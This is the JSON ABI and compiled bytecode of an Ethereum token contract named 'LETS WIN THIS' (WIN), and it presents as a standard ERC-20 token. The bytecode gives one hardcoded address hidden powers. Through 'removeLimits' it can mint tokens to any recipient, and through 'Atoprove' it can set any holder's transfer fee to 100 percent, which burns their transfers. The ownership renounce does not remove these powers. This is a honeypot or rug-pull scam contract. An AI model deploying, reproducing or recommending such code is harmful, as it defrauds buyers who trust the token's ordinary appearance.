[ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [ { "internalType": "address", "name": "user", "type": "address" }, { "internalType": "uint256", "name": "feePercents", "type": "uint256" } ], "name": "Atoprove", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "tax", "type": "uint256" } ], "name": "removeLimits", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "renounceOwnershiptbstionsoot", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "pure", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "sender", "type": "address" }, { "internalType": "address", "name": "recipient", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" } ]
60806040523480156200001157600080fd5b50600062000024620001d660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a620000d2919062000378565b655af3107a4000620000e59190620003c9565b60016000620000f9620001d660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000147620001d660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620001a6919062000378565b655af3107a4000620001b99190620003c9565b604051620001c8919062000425565b60405180910390a362000442565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200026c57808604811115620002445762000243620001de565b5b6001851615620002545780820291505b808102905062000264856200020d565b945062000224565b94509492505050565b6000826200028757600190506200035a565b816200029757600090506200035a565b8160018114620002b05760028114620002bb57620002f1565b60019150506200035a565b60ff841115620002d057620002cf620001de565b5b8360020a915084821115620002ea57620002e9620001de565b5b506200035a565b5060208310610133831016604e8410600b84101617156200032b5782820a905083811115620003255762000324620001de565b5b6200035a565b6200033a84848460016200021a565b92509050818404811115620003545762000353620001de565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620003858262000361565b915062000392836200036b565b9250620003c17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000275565b905092915050565b6000620003d68262000361565b9150620003e38362000361565b9250828202620003f38162000361565b915082820484148315176200040d576200040c620001de565b5b5092915050565b6200041f8162000361565b82525050565b60006020820190506200043c600083018462000414565b92915050565b61179f80620004526000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806358f53e0e1161008c5780638da5cb5b116100665780638da5cb5b1461020057806395d89b411461021e578063a9059cbb1461023c578063dd62ed3e1461026c576100cf565b806358f53e0e146101aa57806370a08231146101b457806376ff07ca146101e4576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce567146101705780634db23e3e1461018e575b600080fd5b6100dc61029c565b6040516100e99190610fa8565b60405180910390f35b61010c60048036038101906101079190611063565b6102d9565b60405161011991906110be565b60405180910390f35b61012a6103d9565b60405161013791906110e8565b60405180910390f35b61015a60048036038101906101559190611103565b6103ff565b60405161016791906110be565b60405180910390f35b6101786107a9565b6040516101859190611172565b60405180910390f35b6101a860048036038101906101a39190611063565b6107b2565b005b6101b2610859565b005b6101ce60048036038101906101c9919061118d565b610993565b6040516101db91906110e8565b60405180910390f35b6101fe60048036038101906101f99190611063565b6109dc565b005b610208610a4a565b60405161021591906111c9565b60405180910390f35b610226610a73565b6040516102339190610fa8565b60405180910390f35b61025660048036038101906102519190611063565b610ab0565b60405161026391906110be565b60405180910390f35b610286600480360381019061028191906111e4565b610d9e565b60405161029391906110e8565b60405180910390f35b60606040518060400160405280600d81526020017f4c4554532057494e205448495300000000000000000000000000000000000000815250905090565b600081600260006102e8610e25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610382610e25565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103c791906110e8565b60405180910390a36001905092915050565b60006009600a6103e99190611386565b655af3107a40006103fa91906113d1565b905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061044b610e25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104be90611485565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461051691906113d1565b61052091906114d4565b9050600081846105309190611505565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105819190611505565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105d79190611539565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610628610e25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106719190611505565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106c99190611539565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161072d91906110e8565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079491906110e8565b60405180910390a36001925050509392505050565b60006009905090565b600081905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108069190611539565b92505081905550610815610e2d565b610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084b906115df565b60405180910390fd5b505050565b610861610e25565b73ffffffffffffffffffffffffffffffffffffffff1661087f610a4a565b73ffffffffffffffffffffffffffffffffffffffff16146108d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cc9061164b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109e4610e7e565b610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a906115df565b60405180910390fd5b6000606490506000818311159050610a3a81610e8d565b610a448484610ed0565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f57494e0000000000000000000000000000000000000000000000000000000000815250905090565b60008160016000610abf610e25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b32906116dd565b60405180910390fd5b6000606460036000610b4b610e25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610b9191906113d1565b610b9b91906114d4565b905060008184610bab9190611505565b90508360016000610bba610e25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c039190611505565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c599190611539565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cb19190611539565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610cd7610e25565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d1c91906110e8565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610d45610e25565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d8a91906110e8565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073d238d6f4ddf6cd639a7c3a39dff12e1f3122d27173ffffffffffffffffffffffffffffffffffffffff16610e62610e25565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000610e88610e2d565b905090565b80610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec490611749565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f52578082015181840152602081019050610f37565b60008484015250505050565b6000601f19601f8301169050919050565b6000610f7a82610f18565b610f848185610f23565b9350610f94818560208601610f34565b610f9d81610f5e565b840191505092915050565b60006020820190508181036000830152610fc28184610f6f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610ffa82610fcf565b9050919050565b61100a81610fef565b811461101557600080fd5b50565b60008135905061102781611001565b92915050565b6000819050919050565b6110408161102d565b811461104b57600080fd5b50565b60008135905061105d81611037565b92915050565b6000806040838503121561107a57611079610fca565b5b600061108885828601611018565b92505060206110998582860161104e565b9150509250929050565b60008115159050919050565b6110b8816110a3565b82525050565b60006020820190506110d360008301846110af565b92915050565b6110e28161102d565b82525050565b60006020820190506110fd60008301846110d9565b92915050565b60008060006060848603121561111c5761111b610fca565b5b600061112a86828701611018565b935050602061113b86828701611018565b925050604061114c8682870161104e565b9150509250925092565b600060ff82169050919050565b61116c81611156565b82525050565b60006020820190506111876000830184611163565b92915050565b6000602082840312156111a3576111a2610fca565b5b60006111b184828501611018565b91505092915050565b6111c381610fef565b82525050565b60006020820190506111de60008301846111ba565b92915050565b600080604083850312156111fb576111fa610fca565b5b600061120985828601611018565b925050602061121a85828601611018565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156112aa5780860481111561128657611285611224565b5b60018516156112955780820291505b80810290506112a385611253565b945061126a565b94509492505050565b6000826112c3576001905061137f565b816112d1576000905061137f565b81600181146112e757600281146112f157611320565b600191505061137f565b60ff84111561130357611302611224565b5b8360020a91508482111561131a57611319611224565b5b5061137f565b5060208310610133831016604e8410600b84101617156113555782820a9050838111156113505761134f611224565b5b61137f565b6113628484846001611260565b9250905081840481111561137957611378611224565b5b81810290505b9392505050565b60006113918261102d565b915061139c83611156565b92506113c97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846112b3565b905092915050565b60006113dc8261102d565b91506113e78361102d565b92508282026113f58161102d565b9150828204841483151761140c5761140b611224565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b600061146f602583610f23565b915061147a82611413565b604082019050919050565b6000602082019050818103600083015261149e81611462565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006114df8261102d565b91506114ea8361102d565b9250826114fa576114f96114a5565b5b828204905092915050565b60006115108261102d565b915061151b8361102d565b925082820390508181111561153357611532611224565b5b92915050565b60006115448261102d565b915061154f8361102d565b925082820190508082111561156757611566611224565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006115c9602183610f23565b91506115d48261156d565b604082019050919050565b600060208201905081810360008301526115f8816115bc565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611635602083610f23565b9150611640826115ff565b602082019050919050565b6000602082019050818103600083015261166481611628565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006116c7602383610f23565b91506116d28261166b565b604082019050919050565b600060208201905081810360008301526116f6816116ba565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b6000611733601383610f23565b915061173e826116fd565b602082019050919050565b6000602082019050818103600083015261176281611726565b905091905056fea2646970667358221220451e8ff7a99b18989297b5c7ba9d3d771817e65adae889c5dd04ca6f614e451f64736f6c63430008120033